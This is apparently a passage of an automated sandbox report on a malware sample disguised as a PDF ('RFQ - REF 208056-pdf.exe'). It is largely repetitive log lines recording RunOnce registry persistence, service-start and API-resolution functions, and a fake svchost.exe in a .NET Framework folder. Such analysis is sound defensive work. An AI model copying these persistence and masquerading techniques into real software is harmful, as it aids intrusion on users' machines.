Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce XZFSGXzndMljLVEovPfqdS

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\3f77e94d-b01b-49a3-88ba-e6fd38451fb3\AdvancedRun.exe

Code function: 11_2_00401306 OpenServiceW,CloseServiceHandle,QueryServiceStatus,StartServiceW,CloseServiceHandle,CloseServiceHandle,

11_2_00401306

Source: C:\Users\user\Desktop\RFQ - REF 208056-pdf.exe	Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce XZFSGXzndMljLVEovPfqdS	Jump to behavior
Source: C:\Users\user\Desktop\RFQ - REF 208056-pdf.exe	Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce XZFSGXzndMljLVEovPfqdS	Jump to behavior
Source: C:\Users\user\Desktop\RFQ - REF 208056-pdf.exe	Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce XZFSGXzndMljLVEovPfqdS	Jump to behavior
Source: C:\Users\user\Desktop\RFQ - REF 208056-pdf.exe	Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce XZFSGXzndMljLVEovPfqdS	Jump to behavior

Hooking and other Techniques for Hiding and Protection:

Source: C:\Users\user\AppData\Local\Temp\3f77e94d-b01b-49a3-88ba-e6fd38451fb3\AdvancedRun.exe

Code function: 11_2_00408E31 GetModuleHandleW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

11_2_00408E31

Source: C:\Users\user\Desktop\RFQ - REF 208056-pdf.exe

Registry key monitored for changes: HKEY_CURRENT_USER_Classes

Jump to behavior

Source: C:\Users\user\Desktop\RFQ - REF 208056-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ - REF 208056-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ - REF 208056-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ - REF 208056-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ - REF 208056-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ - REF 208056-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ - REF 208056-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ - REF 208056-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ - REF 208056-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ - REF 208056-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ - REF 208056-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ - REF 208056-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ - REF 208056-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ - REF 208056-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ - REF 208056-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ - REF 208056-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ - REF 208056-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ - REF 208056-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ - REF 208056-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ - REF 208056-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ - REF 208056-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ - REF 208056-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ - REF 208056-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ - REF 208056-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ - REF 208056-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ - REF 208056-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ - REF 208056-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ - REF 208056-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ - REF 208056-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ - REF 208056-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ - REF 208056-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ - REF 208056-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ - REF 208056-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ - REF 208056-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ - REF 208056-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ - REF 208056-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ - REF 208056-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ - REF 208056-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ - REF 208056-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ - REF 208056-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ - REF 208056-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ - REF 208056-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ - REF 208056-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ - REF 208056-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3f77e94d-b01b-49a3-88ba-e6fd38451fb3\AdvancedRun.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3f77e94d-b01b-49a3-88ba-e6fd38451fb3\AdvancedRun.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3f77e94d-b01b-49a3-88ba-e6fd38451fb3\AdvancedRun.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3f77e94d-b01b-49a3-88ba-e6fd38451fb3\AdvancedRun.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3f77e94d-b01b-49a3-88ba-e6fd38451fb3\AdvancedRun.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3f77e94d-b01b-49a3-88ba-e6fd38451fb3\AdvancedRun.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3f77e94d-b01b-49a3-88ba-e6fd38451fb3\AdvancedRun.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3f77e94d-b01b-49a3-88ba-e6fd38451fb3\AdvancedRun.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3f77e94d-b01b-49a3-88ba-e6fd38451fb3\AdvancedRun.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\fEPqNDVRKakftSbrsO\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\fEPqNDVRKakftSbrsO\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\fEPqNDVRKakftSbrsO\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\fEPqNDVRKakftSbrsO\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\fEPqNDVRKakftSbrsO\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\fEPqNDVRKakftSbrsO\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\fEPqNDVRKakftSbrsO\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\fEPqNDVRKakftSbrsO\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\fEPqNDVRKakftSbrsO\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\fEPqNDVRKakftSbrsO\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\fEPqNDVRKakftSbrsO\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\fEPqNDVRKakftSbrsO\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\fEPqNDVRKakftSbrsO\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\fEPqNDVRKakftSbrsO\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\fEPqNDVRKakftSbrsO\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\fEPqNDVRKakftSbrsO\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\fEPqNDVRKakftSbrsO\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\fEPqNDVRKakftSbrsO\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\fEPqNDVRKakftSbrsO\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\fEPqNDVRKakftSbrsO\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\fEPqNDVRKakftSbrsO\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\fEPqNDVRKakftSbrsO\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\fEPqNDVRKakftSbrsO\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\fEPqNDVRKakftSbrsO\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\fEPqNDVRKakftSbrsO\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\fEPqNDVRKakftSbrsO\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\fEPqNDVRKakftSbrsO\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\fEPqNDVRKakftSbrsO\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\fEPqNDVRKakftSbrsO\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\fEPqNDVRKakftSbrsO\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\fEPqNDVRKakftSbrsO\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\fEPqNDVRKakftSbrsO\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\fEPqNDVRKakftSbrsO\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\fEPqNDVRKakftSbrsO\svchost.exe	Process information set: NOOPENFILEERRORBOX
